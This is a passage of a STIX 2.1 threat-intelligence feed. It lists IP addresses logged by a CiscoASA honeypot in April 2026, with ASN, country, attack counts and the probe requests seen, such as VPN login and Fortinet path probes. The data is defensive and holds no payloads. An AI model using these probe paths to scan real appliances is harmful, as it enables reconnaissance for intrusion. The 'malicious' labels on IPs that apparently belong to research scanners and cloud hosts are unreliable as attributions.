      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--30735689-edd7-483e-a8d6-29ca467729cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.100.130.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:20:12.000Z",
      "valid_until": "2026-05-05T00:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-02T23:43:23.590Z",
          "last_seen": "2026-04-02T23:44:03.306Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T01:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.31.213.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:20:20.000Z",
      "valid_until": "2026-05-05T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T00:58:39.334Z",
          "last_seen": "2026-04-03T00:58:39.334Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T01:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:20:20.000Z",
      "valid_until": "2026-05-05T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T00:47:15.632Z",
          "last_seen": "2026-04-03T00:47:16.306Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T01:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e51e44bf-ea06-4dd9-bc79-ac6c6a024a87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.91.176.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:20:20.000Z",
      "valid_until": "2026-05-05T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T00:52:53.157Z",
          "last_seen": "2026-04-08T00:53:59.964Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T01:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1b02b2e9-3cdd-493c-8a42-6aeb300febbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.226.98.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:20:20.000Z",
      "valid_until": "2026-05-05T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T00:58:19.859Z",
          "last_seen": "2026-04-03T00:58:22.862Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--ed46f715-350c-4698-873b-d358c8a55fbd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '110.90.224.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T01:51:23.491Z",
          "last_seen": "2026-04-03T01:51:26.494Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--e28e364d-04e8-40ee-b686-e9e12e265f01",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '124.160.236.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:52:23.100Z",
          "last_seen": "2026-04-03T01:52:23.100Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--80bec7f8-29b7-497f-91a9-56a612dbe217",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.37.92.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:53:15.018Z",
          "last_seen": "2026-04-03T01:53:15.018Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--95f57e69-c3d1-4efe-ae81-9bc3b101a3ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.92.112.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:53:11.480Z",
          "last_seen": "2026-04-03T01:53:11.480Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--de12c914-e8f6-412f-8bcf-88dc17bdf702",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.197.78.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:53:10.588Z",
          "last_seen": "2026-04-03T01:53:10.588Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--ab390ce4-9b43-4f0f-8974-488b9d2a62d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '42.48.38.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:53:13.143Z",
          "last_seen": "2026-04-03T01:53:13.143Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T02:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--bf333b23-aae0-44e2-aef0-8b18095a911b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '58.245.27.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:20:32.000Z",
      "valid_until": "2026-05-05T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T01:53:18.104Z",
          "last_seen": "2026-04-03T01:53:18.104Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c970d956-ec66-4884-8a97-e9dbdbb05963",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T04:39:09.149Z",
          "last_seen": "2026-04-23T18:34:24.204Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--edec7014-fcc3-4475-a3ba-fd17ac0edc55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T04:29:18.221Z",
          "last_seen": "2026-04-03T04:29:18.221Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--b73c3b75-f81f-44ca-8ccd-6f08abb7282d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T04:51:38.319Z",
          "last_seen": "2026-04-03T04:51:38.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-03T05:12:03.351Z",
          "last_seen": "2026-04-03T05:18:42.428Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ecc8b7f0-57ef-446a-b551-1c392222d359",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T05:15:12.546Z",
          "last_seen": "2026-04-03T05:15:12.546Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5c29e83b-ebd8-4d76-b3a2-16c2324ef52c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T05:16:37.418Z",
          "last_seen": "2026-04-03T05:16:37.418Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b99274db-b37c-46c9-9cea-dd01c1e8375f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-03T05:16:43.180Z",
          "last_seen": "2026-04-03T05:16:43.180Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--76f9525e-3ee6-41a4-9a5c-4fbd0671c223",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T05:16:26.320Z",
          "last_seen": "2026-04-03T05:16:58.135Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e3fdae8f-0082-419a-98c6-ac5528695661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:20:11.000Z",
      "valid_until": "2026-05-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-03T05:16:40.741Z",
          "last_seen": "2026-04-03T05:16:51.875Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T08:20:08.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--79610107-5ccc-4b40-ac37-c3a4196e0464",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T08:20:08.000Z",
      "valid_until": "2026-05-05T08:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-03T08:18:44.050Z",
